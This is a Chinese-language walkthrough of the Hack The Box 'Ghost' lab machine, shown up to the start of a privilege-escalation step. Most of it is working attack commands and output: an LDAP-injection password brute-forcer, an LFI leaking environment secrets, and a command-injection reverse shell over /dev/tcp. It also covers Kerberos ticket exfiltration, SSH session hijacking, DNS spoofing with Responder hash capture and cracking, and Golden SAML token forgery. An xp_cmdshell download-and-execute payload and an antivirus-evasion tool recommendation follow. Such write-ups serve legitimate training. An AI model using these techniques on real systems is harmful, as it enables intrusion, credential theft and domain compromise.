HackTheBox Ghost Walkthrough

靶场:Hack The Box
地址:https://app.hackthebox.com/machines/Ghost
系统:windows
内容:ldap注入、ssh劫持、ldap dns伪造、Golden SAML、ADFS、Golden Ticket、EfsPotato提权

非常棒的win机器,能学到许多AD相关知识。

信息收集

扫描端口,将信息里的ghost.htbDC01.ghost.htb加入/etc/hosts。注意开了80、8008、8443等几个http端口。

~/D/g $nmap -sV -sC -Pn -p- -oN port.log $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-22 23:59 UTC
Nmap scan report for 10.10.11.24
Host is up (0.38s latency).
Not shown: 65508 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-23 00:00:41Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-11-22T19:50:01
|_Not valid after:  2054-11-22T19:50:01
|_ssl-date: 2024-11-23T00:02:24+00:00; -13m27s from scanner time.
| ms-sql-ntlm-info:
|   10.10.11.24:1433:
|     Target_Name: GHOST
|     NetBIOS_Domain_Name: GHOST
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: ghost.htb
|     DNS_Computer_Name: DC01.ghost.htb
|     DNS_Tree_Name: ghost.htb
|_    Product_Version: 10.0.20348
| ms-sql-info:
|   10.10.11.24:1433:
|     Version:
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 1433
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2024-11-23T00:01:45+00:00
|_ssl-date: 2024-11-23T00:02:24+00:00; -13m27s from scanner time.
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-11-21T19:47:14
|_Not valid after:  2025-05-23T19:47:14
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
|_http-title: Ghost
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-generator: Ghost 5.78
|_http-server-header: nginx/1.18.0 (Ubuntu)
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
| http-title: Ghost Core
|_Requested resource was /login
|_http-server-header: nginx/1.18.0 (Ubuntu)
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
56511/tcp open  msrpc         Microsoft Windows RPC
60651/tcp open  msrpc         Microsoft Windows RPC
60702/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2024-11-23T00:01:56
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: -13m27s, deviation: 0s, median: -13m27s

smb信息检索,但没有什么效果。

~/D/g $crackmapexec smb $IP -u 'null' -p '' --shares
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [-] ghost.htb\null: STATUS_LOGON_FAILURE

80端口没有内容。查看8008端口开着http。开着个博客网站,得到一个用户名Kathryn Holland,但没其它有用信息。

8443端口是AD FS的登录界面。

点击登录后会跳转到federation.ghost.htb域名,将这个域名也加入hosts。再次跳转,显示用户名和密码的输入界面,但目前没有任何信息。

尝试枚举一下子域名。过去遇到子域名检索时,在80端口较多,作为默认端口,一直没有在命令行里写。其实子域名枚举需要在特定的端口进行,比如这里就是在8008端口。

~/D/g $gobuster vhost -u http://ghost.htb:8008/ -H "User-Agent: Mozilla/5.0" -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 --append-domain
Found: gitea.ghost.htb:8008 Status: 200 [Size: 13651]
Found: intranet.ghost.htb:8008 Status: 307 [Size: 3968] [--> /login]

将枚举到的子域名也加入/etc/hosts中,一个个来看。先看gitea,在gitea.ghost.htb:8008下,可以找到两个用户名:gitea_temp_principal和cassandra.shelton。

LDAP注入

intranet.ghost.htb:8008下,是个登录界面。

输入刚才的用户名,密码随意,在burpsuite中截断。当密码不对时,服务器返回Invalid combination of username and secret

表单数据显示,靶机是通过ldap服务查询用户名和密码。ldap查询时,如果服务端设置有误,当输入通配符时,可能出现意料外的结果。将密码改为*号,再次查询,没有提示错误,且返回一个token,说明服务器确实存在ldap注入漏洞,

看一下这个token如何利用。打开浏览器-->开发工具-->storage,添加cookie值,注意token中将Bearer%20解码为Bearer (注意中间有一个空格),然后再次访问intranet.ghost.htb:8008,可以进入后台界面。

在后台可以查询到一堆的用户,暂且把它们保存在names.txt。

注意News的提示,暂时只能使用gitea_temp_principal用户登入gitea。下面要利用ldap注入的漏洞来爆破得到gitea_temp_principal用户的密码。脚本如下,其中要注意两点,一是头的内容要恰当,二是files提交表单时,元组中要有None。

import string
import requests

url = 'http://intranet.ghost.htb:8008/login'

headers = {
    'Host': 'intranet.ghost.htb:8008',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate, br',
    'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
    'Connection': 'keep-alive'
}cat 

password = ""
while True:
        for char in string.ascii_lowercase + string.digits:
                files= {
                        '1_ldap-username': (None, 'gitea_temp_principal'),
                        '1_ldap-secret': (None, f'{password}{char}*'),
                        '0': (None, '[{},"$K1"]')
                        }
                r = requests.post(url, headers=headers, files=files)
                if r.status_code == 303:
                        password += char
                        print(f"Cur Pwd: {password}")
                        break
        else:
                break
print(password)

运行程序后得到gitea_temp_principal用户的密码。

~/D/g $python3 brute_pass.py
Cur Pwd: s
Cur Pwd: sz
Cur Pwd: szr
Cur Pwd: szrr
Cur Pwd: szrr8
Cur Pwd: szrr8k
Cur Pwd: szrr8kp
Cur Pwd: szrr8kpc
Cur Pwd: szrr8kpc3
Cur Pwd: szrr8kpc3z
Cur Pwd: szrr8kpc3z6
Cur Pwd: szrr8kpc3z6o
Cur Pwd: szrr8kpc3z6on
Cur Pwd: szrr8kpc3z6onl
Cur Pwd: szrr8kpc3z6onlq
Cur Pwd: szrr8kpc3z6onlqf
szrr8kpc3z6onlqf

Ghost Blog漏洞利用

使用刚才得到的用户名和密码登录gitea.ghost.htb:8088,浏览文档,得到Ghost Blog的key的提示。

通过阅读Ghost CMS官方文档,可以得到访问路径http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a

查看post-public.js,扔到GPT里,会提示extra参数有LFI漏洞。

加入extra参数,测试确实存在漏洞。

~/D/g $curl 'http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../../etc/passwd&key=a5af628828958c976a3b6cc81a'
...
...},"extra":{"../../../../../etc/passwd":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000:Linux User,,,:/home/node:/bin/sh\n"}}} 
...

虽然这是windows主机,但Ghost CMS是运行在linux容器中,刚才提到有个DEV_INTRANET_KEY变量,可以通过LFI获取变量值。

~/D/g $curl 'http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../../proc/self/environ&key=a5af628828958c976a3b6cc81a'
...
...,"extra":{"../../../../../proc/self/environ":"HOSTNAME=26ae7990f3dd\u0000database__debug=false\u0000YARN_VERSION=1.22.19\u0000PWD=/var/lib/ghost\u0000NODE_ENV=production\u0000database__connection__filename=content/data/ghost.db\u0000HOME=/home/node\u0000database__client=sqlite3\u0000url=http://ghost.htb\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000database__useNullAsDefault=true\u0000GHOST_CONTENT=/var/lib/ghost/content\u0000SHLVL=0\u0000GHOST_CLI_VERSION=1.25.3\u0000GHOST_INSTALL=/var/lib/ghost\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE_VERSION=18.19.0\u0000GHOST_VERSION=5.78.0\u0000"}}} 
...

将intranet的代码下载后,查看一下,dev.rs里出现了DEV_INTRANET_KEY。

~/D/g $grep 'DEV_INTRANET_KEY' -r intranet
intranet/backend/src/api/dev.rs:                if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
intranet/backend/.env.example:DEV_INTRANET_KEY=

查看dev.rs源代码,会发现路由会将请求里的X-DEV-INTRANET-KEY与DEV_INTRANET_KEY进行对比。

use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};

pub(crate) mod scan;

pub struct DevGuard;

#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
    type Error = ();

    async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
        let key = request.headers().get_one("X-DEV-INTRANET-KEY");
        match key {
            Some(key) => {
                if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
                    Outcome::Success(DevGuard {})
                } else {
                    Outcome::Error((Status::Unauthorized, ()))
                }
            },
            None => Outcome::Error((Status::Unauthorized, ()))
        }
    }
}

根据之前的提示,并继续查看intranet代码,会发现scan模块存在漏洞。

至此可以取得反弹shell。

~/D/g $curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://vxer.cn;/bin/bash -i >& /dev/tcp/10.10.16.5/1234 0>&1"}'
---
~/D/g $rlwrap nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.24 49796
root@36b733906694:/app# id;hostname
id;hostname
uid=0(root) gid=0(root) groups=0(root)
36b733906694

运行linpeas.sh,在根目录下发现一个docker启动脚本,但没有什么信息。

╔══════════╣ Unexpected in root
/app
/.dockerenv
/docker-entrypoint.sh

同时显示环境变量里有个密码。

LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j

通过密码喷洒,检测这个密码属于哪个用户。

~/D/g $netexec smb $IP -u names.txt -p 'He!KA9oKVT3rL99j'
...
SMB         10.10.11.24     445    DC01             [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j

可以利用上述用户名和密码收集bloodhound信息。

~/D/g $netexec ldap $IP -u 'intranet_principal' -p 'He!KA9oKVT3rL99j'  --bloodhound --collection All --dns-server $IP
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.24     389    DC01             [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j
LDAP        10.10.11.24     389    DC01             Resolved collection methods: psremote, acl, rdp, localadmin, trusts, dcom, group, session, container, objectprops
LDAP        10.10.11.24     389    DC01             Done in 01M 29S
LDAP        10.10.11.24     389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.24_2024-11-23_111445_bloodhound.zip

ssh会话劫持

回到刚才的docker脚本,Ghost靶机的初始版本,这个脚本中有另一个用户的密码,但patch后已经被删除,但脚本中显示了ssh会话文件的路径。

root@36b733906694:/# cat docker-entrypoint.sh
cat docker-entrypoint.sh
#!/bin/bash

mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *\n  ControlMaster auto\n  ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n  ControlPersist yes' > /root/.ssh/config

来到相关路径,可以显示出florence.ramirez的ssh会话文件(类型为socket)。

root@36b733906694:~/.ssh/controlmaster# ls -la
ls -la
total 12
drwxr-xr-x 1 root root 4096 Nov 22 19:50 .
drwxr-xr-x 1 root root 4096 Jul  5 15:17 ..
srw------- 1 root root    0 Nov 22 19:50 florence.ramirez@ghost.htb@dev-workstation:22
root@36b733906694:~/.ssh/controlmaster# file florence.ramirez@ghost.htb@dev-workstation:22
< file florence.ramirez@ghost.htb@dev-workstation:22
florence.ramirez@ghost.htb@dev-workstation:22: socket

劫持ssh session。

root@36b733906694:~/.ssh/controlmaster# file florence.ramirez@ghost.htb@dev-workstation:22
< file florence.ramirez@ghost.htb@dev-workstation:22
florence.ramirez@ghost.htb@dev-workstation:22: socket
root@36b733906694:~/.ssh/controlmaster# check -S florence.ramirez@ghost.htb@dev-workstation:22
root@36b733906694:~/.ssh/controlmaster# ssh -S florence.ramirez@ghost.htb@dev-workstation:22 %h
<-S florence.ramirez@ghost.htb@dev-workstation:22 %h
Pseudo-terminal will not be allocated because stdin is not a terminal.
whoami
florence.ramirez
python3 -c 'import pty;pty.spawn("/bin/bash")'
florence.ramirez@LINUX-DEV-WS01:~$
florence.ramirez@LINUX-DEV-WS01:~$ id;hostname
id;hostname
uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)
LINUX-DEV-WS01

查看环境变量,里面有KRB5CCNAME的定义,这是florence.ramirez连接时使用kerberos凭据。

florence.ramirez@LINUX-DEV-WS01:~$ env
env
SHELL=/bin/bash
KRB5CCNAME=FILE:/tmp/krb5cc_50
PWD=/home/GHOST/florence.ramirez
LOGNAME=florence.ramirez
MOTD_SHOWN=pam
HOME=/home/GHOST/florence.ramirez
SSH_CONNECTION=172.18.0.3 43780 172.18.0.2 22
USER=florence.ramirez
SHLVL=2
LC_CTYPE=C.UTF-8
SSH_CLIENT=172.18.0.3 43780 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
_=/usr/bin/env
OLDPWD=/bin

需要将krb5cc_50文件下载到本机。由于常用的nc不能用,这里使用命令行实现。

florence.ramirez@LINUX-DEV-WS01:~$ cat /tmp/krb5cc_50 > /dev/tcp/10.10.16.5/2234
<01:~$ cat /tmp/krb5cc_50 > /dev/tcp/10.10.16.5/2234

~/D/g $nc -nlvp 2234 >krb5cc_50 </dev/null
Listening on 0.0.0.0 2234
Connection received on 10.10.11.24 49786

使用这个key,可以以florence.ramirez身份通过域控验证,并不能登录winrm。

~/D/g $export KRB5CCNAME=krb5cc_50
~/D/g $netexec smb $IP -u florence.ramirez -k --use-kcache
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [+] ghost.htb\florence.ramirez from ccache

AD Dns伪造

在bloodhound里搜索半天,并找不到florence.ramirez有什么可利用的地方。
回到刚才的http://intranet.ghost.htb:8008/forum,在论坛里发现justin.bradley说找不到bitbucket.ghost.htb域名。

AD依赖DNS来定位域控制器(DC)、全局编录服务器(GC)以及其他AD服务。先尝试获取AD的DNS记录,发现可以成功。

~/D/g $bloodyAD --host dc01.ghost.htb  -d ghost.htb -k  get dnsDump

zoneName: ghost.htb

recordName: ghost.htb
SOA.PrimaryServer: dc01.ghost.htb
SOA.zoneAdminEmail: hostmaster@ghost.htb
NS: dc01.ghost.htb
A: 10.0.0.254; 127.0.0.1; 10.10.11.24

recordName: _gc._tcp.ghost.htb
SRV: primary.corp.ghost.htb:3268; dc01.ghost.htb:3268
...

保存后检索,确实找不到关于bitbucket.ghost.htb的DNS记录。

~/D/g $bloodyAD --host dc01.ghost.htb  -d ghost.htb -k  get dnsDump >dnsDump.txt
~/D/g $grep bitbucket dnsDump.txt

添加伪造的DNS记录,IP指向本机。

~/D/g $bloodyAD --host dc01.ghost.htb  -d ghost.htb -k  add dnsRecord bitbucket  10.10.16.5
[+] bitbucket has been successfully added

使用responder响应DNS查询,得到justin.bradley的NTLM hash。

~/D/g $sudo responder -I tun0 -Pdv
...
[HTTP] Sending NTLM authentication request to 10.10.11.24
[HTTP] GET request from: ::ffff:10.10.11.24  URL: /
[HTTP] NTLMv2 Client   : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash     : justin.bradley::ghost:221743710aa4f86e:954379526D79F9D5ED688C407BC4DC86:0101000000000000FF0745C2B351DB01FA6ABAA4B6442F5F0000000002000800360059003000580001001E00570049004E002D005300330053004E0049004D005A005400550048004C000400140036005900300058002E004C004F00430041004C0003003400570049004E002D005300330053004E0049004D005A005400550048004C002E0036005900300058002E004C004F00430041004C000500140036005900300058002E004C004F00430041004C00080030003000000000000000000000000040000030622AF7E9C6703D61AB9CDFB745E9F2B410460051C4A96F5BF6525ED45A10230A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000

破解可得密码。

~/D/g $john --wordlist=/usr/share/wordlists/rockyou.txt justin.bradley.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Qwertyuiop1234$$ (justin.bradley)
1g 0:00:00:03 DONE (2024-12-19 01:24) 0.3300g/s 3534Kp/s 3534Kc/s 3534KC/s R2774178..Queenruma
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

终于可以登录winrm,并得到user flag。

~/D/g $netexec winrm $IP -u justin.bradley -p 'Qwertyuiop1234$$'
WINRM       10.10.11.24     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM       10.10.11.24     5985   DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ (Pwn3d!)

*Evil-WinRM* PS C:\Users\justin.bradley\Desktop> type user.txt
[user flag]

ADFS,Golden SAML

在Active Directory(AD)环境中,ADFS_GMSA$指的是Active Directory Federation Services(AD FS)使用的组托管服务账户(Group Managed Service Account,简称gMSA)。gMSA是一种特殊类型的服务账户,由Windows Server 2012及更高版本中的Active Directory自动管理密码,适用于需要多个服务器共享同一服务账户的场景,例如AD FS服务器场

查看ADFS_GMSA$账户的NTLM hash。

~/D/g $bloodyAD --host dc01.ghost.htb  -d ghost.htb  -u justin.bradley  -p 'Qwertyuiop1234$$'  get object 'ADFS_GMSA$' --attr msDS-ManagedPassword

distinguishedName: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:3d76bf27456f0e647a849e8afb99207a
msDS-ManagedPassword.B64ENCODED: R4LZiwLWPXAzE63xMa8e4ephVMmIhX/S0bEO9Cp0GV1Gok/TprBZj2VJLTJw7WC2ujfQRmU3MZOygA3OU1aoOd4hKWwXTEPYoIao/u0nj8sx7cA9zauKO/ymwBH0TSsEHnFeuWMYexR1F0GXNVdQFxqWzqzb+F+mru+h5TZyUenFSawD3SXE/6dIiYQYZI3114Bf/mRvOTt4Xn6mGfxtExs3RUU14/kqLlbbNK296lR+MFTnt2w3Cf04ZmU2OFxMargoGBcSdqo4ZsUJop8DrrDBY9P+TaKC+zbRVkF+fJXUgUJIUv5MaoIY1vsPApY8z7T4VhlJKBIUI+ERW4HZZA==

有了这个hash,就可以以ADFS_GMSA$的身份登录域控。

~/D/g $netexec winrm $IP -u ADFS_GMSA$ -H 3d76bf27456f0e647a849e8afb99207a
WINRM       10.10.11.24     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM       10.10.11.24     5985   DC01             [+] ghost.htb\ADFS_GMSA$:3d76bf27456f0e647a849e8afb99207a (Pwn3d!)
~/D/g $evil-winrm -i  $IP -u ADFS_GMSA$ -H 3d76bf27456f0e647a849e8afb99207a
...
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami
ghost\adfs_gmsa$

接下来要用到这个工具
https://github.com/mandiant/ADFSDump

ADFSDump is a tool that will read information from Active Directory and from the AD FS Configuration Database that is needed to generate forged security tokens. This information can then be fed into ADFSpoof to generate those tokens.

将ADFSDump.exe上传并运行。

*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe
    ___    ____  ___________ ____
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/
                                              /_/
Created by @doughsec

## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
...
[-] Encrypted Token Signing Key End

[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>

    Access Policy Parameter:

    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

刚才导出的数据中,需要保存两个内容。一是private key。

~/D/g $echo 'FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7-8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' |tr -d '-'| xxd -r -p > private_key.bin

第二是,将Encrypted Signing Key中的内容保存在token.txt中,然后base64解码保存。

~/D/g $cat token.txt
AAAAAQAAAAAEEAFyHlNXh2V...
...
~/D/g $cat token.txt | base64 -d > token.bin

下载ADFSpoof工具,https://github.com/szymex73/ADFSpoof
使用下面的命令,得到伪造的AD FS security tokens。

└──╼ $python3 ADFSpoof.py -b ../token.bin ../private_key.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

在Burpsuite中访问core.ghost.htb:8443/adfs/saml/postResponse,使用POST将刚才得到的伪造SAML放入参数。

选择在浏览器中响应,则会通过登录界面 来到SQLl界面。

随便输入什么sql指令,burpsuite中断,下面来看sql指令的利用。
当输入select srvname from sysservers时,返回DC01和PRIMARY。(注意url encode)

看能否利用sa身份。

EXECUTE('EXECUTE+AS+LOGIN+%3d+''sa''%3bSELECT+SYSTEM_USER')+AT+[PRIMARY]

以sa用户身份执行whoami。

EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure "show advanced options", 1; RECONFIGURE; EXECUTE sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "whoami"') AT [PRIMARY]

最后是最关键的一步,得到shell。

EXECUTE('EXECUTE AS LOGIN = ''sa'';EXECUTE sp_configure "show advanced options", 1; RECONFIGURE; EXECUTE sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "powershell -c IEX(New-Object Net.WebClient).DownloadString(''http://10.10.16.5/Payload.ps1'')"') AT [PRIMARY]

本机开启php服务,同时监听

~/D/g $rlwrap nc -nlvp 2234
Listening on 0.0.0.0 2234
Connection received on 10.10.11.24 49807
whoami
nt service\mssqlserver
JokerShell C:\Windows\system32>

这里插入一下,由于机器开了杀毒,所以使用https://github.com/Adkali/PowerJoker生成免杀的powershell shell才能正常执行,推荐此工具。工具的具体用法,大家自行研究。

EfsPotato提权

登录shell后,进行初步检索。

~/D/g $rlwrap nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.24 49792
JokerShell C:\Windows\system32> whoami
nt service\mssqlserver
JokerShell C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
